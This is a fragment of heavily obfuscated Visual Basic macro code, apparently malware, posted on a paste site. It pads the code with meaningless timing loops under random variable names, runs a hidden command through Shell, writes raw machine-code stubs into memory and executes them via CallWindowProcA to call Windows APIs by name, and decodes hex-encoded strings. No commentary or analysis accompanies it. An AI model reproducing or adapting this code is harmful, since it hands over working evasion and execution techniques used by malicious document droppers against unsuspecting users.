  1036. Dim PgMbroZH As Integer
  1037. PgMbroZH = 8
  1038. Do While PgMbroZH < 13
  1039. DoEvents: PgMbroZH = PgMbroZH + 1
  1040. Loop
  1041.  
  1042. aPUdShSw = 1
  1043. Do While aPUdShSw < 98
  1044.  
  1045. Dim gKlcJLcN As Integer
  1046. gKlcJLcN = 4
  1047. Do While gKlcJLcN < 82
  1048. DoEvents: gKlcJLcN = gKlcJLcN + 1
  1049. Loop
  1050.  
  1051. DoEvents: aPUdShSw = aPUdShSw + 1
  1052.  
  1053. Dim hIqqeHPz As Integer
  1054. hIqqeHPz = 4
  1055. Do While hIqqeHPz < 38
  1056. DoEvents: hIqqeHPz = hIqqeHPz + 1
  1057. Loop
  1058.  
  1059. Loop
  1060.  
  1061.  
  1062. Dim YHEPQlxP As Integer
  1063. YHEPQlxP = 7
  1064. Do While YHEPQlxP < 59
  1065. DoEvents: YHEPQlxP = YHEPQlxP + 1
  1066. Loop
  1067.  
  1068.     gffUYUdfg = Shell(xTysdfsdf, 1)
  1069.  
  1070. End Sub
  1071.  
  1072. Function CallApiByName(ByVal sLib As String, ByVal sMod As String, ParamArray Params()) As Long
  1073. On Error Resume Next
  1074.     Dim qfzpguEnn                As Long
  1075.     Dim MoJQl(&HEC00& - 1)  As Byte
  1076.     Dim kVazolfxuRnLRN                   As Long
  1077.     Dim drMOYicFVoIcVLr                As Long
  1078.    
  1079.     drMOYicFVoIcVLr = GetProcAddress(LoadLibraryA(sLib), sMod)
  1080.     If drMOYicFVoIcVLr = 0 Then Exit Function
  1081.    
  1082.     qfzpguEnn = VarPtr(MoJQl(0))
  1083.     RtlMoveMemory ByVal qfzpguEnn, &H59595958, &H4:              qfzpguEnn = qfzpguEnn + 4
  1084.     RtlMoveMemory ByVal qfzpguEnn, &H5059, &H2:                  qfzpguEnn = qfzpguEnn + 2
  1085.     For kVazolfxuRnLRN = UBound(Params) To 0 Step -1
  1086.         RtlMoveMemory ByVal qfzpguEnn, &H68, &H1:                qfzpguEnn = qfzpguEnn + 1
  1087.         RtlMoveMemory ByVal qfzpguEnn, CLng(Params(kVazolfxuRnLRN)), &H4:     qfzpguEnn = qfzpguEnn + 4
  1088.     Next
  1089.     RtlMoveMemory ByVal qfzpguEnn, &HE8, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1090.     RtlMoveMemory ByVal qfzpguEnn, drMOYicFVoIcVLr - qfzpguEnn - 4, &H4:         qfzpguEnn = qfzpguEnn + 4
  1091.     RtlMoveMemory ByVal qfzpguEnn, &HC3, &H1:                    qfzpguEnn = qfzpguEnn + 1
  1092.     CallApiByName = CallWindowProcA(VarPtr(MoJQl(0)), 0, 0, 0, 0)
  1093.    
  1094. End Function
  1095.  
  1096.  
  1097.  
  1098. Public Function HexToString(ByVal fdgfdg As String) As String
  1099.  
  1100. Dim saXhzQRf As Integer
  1101.  
  1102. Dim AsaWEeJQ As Integer
  1103. AsaWEeJQ = 9
  1104. Do While AsaWEeJQ < 95
  1105. DoEvents: AsaWEeJQ = AsaWEeJQ + 1
  1106. Loop
  1107.  
  1108. saXhzQRf = 6
  1109. Do While saXhzQRf < 63
  1110.  
  1111. Dim uEwhEcvl As Integer
  1112. uEwhEcvl = 5
  1113. Do While uEwhEcvl < 58
  1114. DoEvents: uEwhEcvl = uEwhEcvl + 1
  1115. Loop
  1116.  
  1117. DoEvents: saXhzQRf = saXhzQRf + 1
  1118.  
  1119. Dim qigHUldm As Integer
  1120. qigHUldm = 6
  1121. Do While qigHUldm < 92
  1122. DoEvents: qigHUldm = qigHUldm + 1
  1123. Loop
  1124.  
  1125. Loop
  1126.  
  1127.  
  1128. Dim qoszHkCE As Integer
  1129. qoszHkCE = 6
  1130. Do While qoszHkCE < 36
  1131. DoEvents: qoszHkCE = qoszHkCE + 1
  1132. Loop
  1133.  
  1134.    
  1135. For y = 1 To Len(fdgfdg)
  1136.  
  1137. Dim tFnNYKOY As Integer
  1138.  
  1139. Dim HcNVlSAv As Integer
  1140. HcNVlSAv = 2
  1141. Do While HcNVlSAv < 88
  1142. DoEvents: HcNVlSAv = HcNVlSAv + 1
  1143. Loop
  1144.  
  1145. tFnNYKOY = 5
  1146. Do While tFnNYKOY < 51
  1147.  
  1148. Dim rLybywOl As Integer
  1149. rLybywOl = 5
  1150. Do While rLybywOl < 23
  1151. DoEvents: rLybywOl = rLybywOl + 1
  1152. Loop
  1153.  
  1154. DoEvents: tFnNYKOY = tFnNYKOY + 1
  1155.  
  1156. Dim icNaqkcw As Integer
  1157. icNaqkcw = 5
  1158. Do While icNaqkcw < 67
  1159. DoEvents: icNaqkcw = icNaqkcw + 1
  1160. Loop
  1161.  
  1162. Loop
  1163.  
  1164.  
  1165. Dim ollADlmP As Integer
  1166. ollADlmP = 6
  1167. Do While ollADlmP < 66
  1168. DoEvents: ollADlmP = ollADlmP + 1
  1169. Loop
  1170.  
  1171.     ytrefgdg = Mid(fdgfdg, y, 2)
  1172.  
  1173. Dim asALdhkZ As Integer
  1174.  
  1175. Dim FFAMiPFk As Integer
  1176. FFAMiPFk = 2
  1177. Do While FFAMiPFk < 58
  1178. DoEvents: FFAMiPFk = FFAMiPFk + 1
  1179. Loop
  1180.  
  1181. asALdhkZ = 4
  1182. Do While asALdhkZ < 16
  1183.  
  1184. Dim FPMwPPQY As Integer
  1185. FPMwPPQY = 2
  1186. Do While FPMwPPQY < 67
  1187. DoEvents: FPMwPPQY = FPMwPPQY + 1
  1188. Loop
  1189.  
  1190. DoEvents: asALdhkZ = asALdhkZ + 1
  1191.  
  1192. Dim KgDXGYbO As Integer
  1193. KgDXGYbO = 3
  1194. Do While KgDXGYbO < 35
  1195. DoEvents: KgDXGYbO = KgDXGYbO + 1
  1196. Loop
  1197.  
  1198. Loop
  1199.  
  1200.  
  1201. Dim lteFyztg As Integer
  1202. lteFyztg = 7
  1203. Do While lteFyztg < 84
  1204. DoEvents: lteFyztg = lteFyztg + 1
  1205. Loop
  1206.  
  1207.     ortvcvsdf = ortvcvsdf & Chr(Val("&h" & ytrefgdg))
  1208.  
  1209. Dim tHmmjsyR As Integer
  1210.  
  1211. Dim QavyhQdk As Integer
  1212. QavyhQdk = 2
  1213. Do While QavyhQdk < 75
  1214. DoEvents: QavyhQdk = QavyhQdk + 1
  1215. Loop
  1216.  
  1217. tHmmjsyR = 5
  1218. Do While tHmmjsyR < 51
  1219.  
  1220. Dim mNZFTaPL As Integer
  1221. mNZFTaPL = 8
  1222. Do While mNZFTaPL < 54
  1223. DoEvents: mNZFTaPL = mNZFTaPL + 1
  1224. Loop
  1225.  
  1226. DoEvents: tHmmjsyR = tHmmjsyR + 1
  1227.  
  1228. Dim SBRTfOXU As Integer
  1229. SBRTfOXU = 2
  1230. Do While SBRTfOXU < 23
  1231. DoEvents: SBRTfOXU = SBRTfOXU + 1
  1232. Loop
  1233.  
  1234. Loop
  1235.  
  1236.  
  1237. Dim fHMcRtAd As Integer
  1238. fHMcRtAd = 6
  1239. Do While fHMcRtAd < 71
  1240. DoEvents: fHMcRtAd = fHMcRtAd + 1
  1241. Loop
  1242.  
  1243.     y = y + 1
  1244. Next y
  1245.  
  1246.  
  1247. Dim UbhGGPXv As Integer
  1248.  
  1249. Dim WxlBeZYY As Integer
  1250. WxlBeZYY = 3
  1251. Do While WxlBeZYY < 75
  1252. DoEvents: WxlBeZYY = WxlBeZYY + 1
  1253. Loop
  1254.  
  1255. UbhGGPXv = 1
  1256. Do While UbhGGPXv < 79
  1257.  
  1258. Dim EwcYkKro As Integer
  1259. EwcYkKro = 9
  1260. Do While EwcYkKro < 68
  1261. DoEvents: EwcYkKro = EwcYkKro + 1
  1262. Loop
  1263.  
  1264. DoEvents: UbhGGPXv = UbhGGPXv + 1
  1265.  
  1266. Dim oHIFEsDI As Integer
  1267. oHIFEsDI = 6
  1268. Do While oHIFEsDI < 61
  1269. DoEvents: oHIFEsDI = oHIFEsDI + 1
  1270. Loop
  1271.  
  1272. Loop
  1273.  
  1274.  
  1275. Dim KGDxLZpp As Integer
  1276. KGDxLZpp = 3
  1277. Do While KGDxLZpp < 31
  1278. DoEvents: KGDxLZpp = KGDxLZpp + 1
  1279. Loop
  1280.  
  1281. HexToString = ortvcvsdf
  1282. End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement